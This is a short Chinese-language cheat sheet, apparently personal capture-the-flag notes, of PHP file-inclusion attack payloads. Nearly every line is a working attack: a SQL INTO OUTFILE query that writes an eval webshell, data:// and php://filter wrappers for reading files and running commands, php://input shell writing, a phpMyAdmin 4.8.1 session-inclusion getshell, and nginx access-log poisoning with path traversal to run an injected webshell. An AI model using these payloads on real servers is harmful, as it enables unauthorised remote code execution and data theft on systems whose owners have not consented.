文件包含等内容
select "<?php @eval($_POST['#@!']);?>" into outfile "/tmp/muma.php"
page=/tmp/muma.php
data://text/plain,%3C?php%20$a_code%20=%20file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a_code)?%3E:
1、phpmyadmin 4.8.1 文件包含,包含SessiongetshellSELECT "<?php file_put_contents('she.php','<?php @eval($_POST[cmd]); ?>'); ?>"
读取文件
php://filter/read=convert.base64-encode/resource=
写入内容
data:text/plain,<?php system(ls)?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
查找目录下所有文件
data://text/plain,<?php print_r(glob("*")); ?>
写入shell
file=php://input
<?php fputs(fopen('shell.php','w'),'<?php @eval($REQUEST[cmd])?>');?>
url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>
文件包含及日志注入:
url=../../../var/log/nginx/access.log
可通过抓包查看得知服务器为Ubuntu,由nginx搭建的网站,nginx的日志文件默认地址在/var/log/nginx/access.log和/var/log/nginx/error.log,其中本题中access.log可以打开
查看日志得知查询的内容均写入日志中,因此BP抓包提交payload,意见连接
../../../var/log/nginx/access.log
<?php @eval($_REQUEST[cmd]);?>
get方式上传shell时候需要抓包删除@
比如:
/<?php @eval($_REQUEST[cmd]);?>,之后抓包删除@
/?url=../../../var/log/nginx/access.log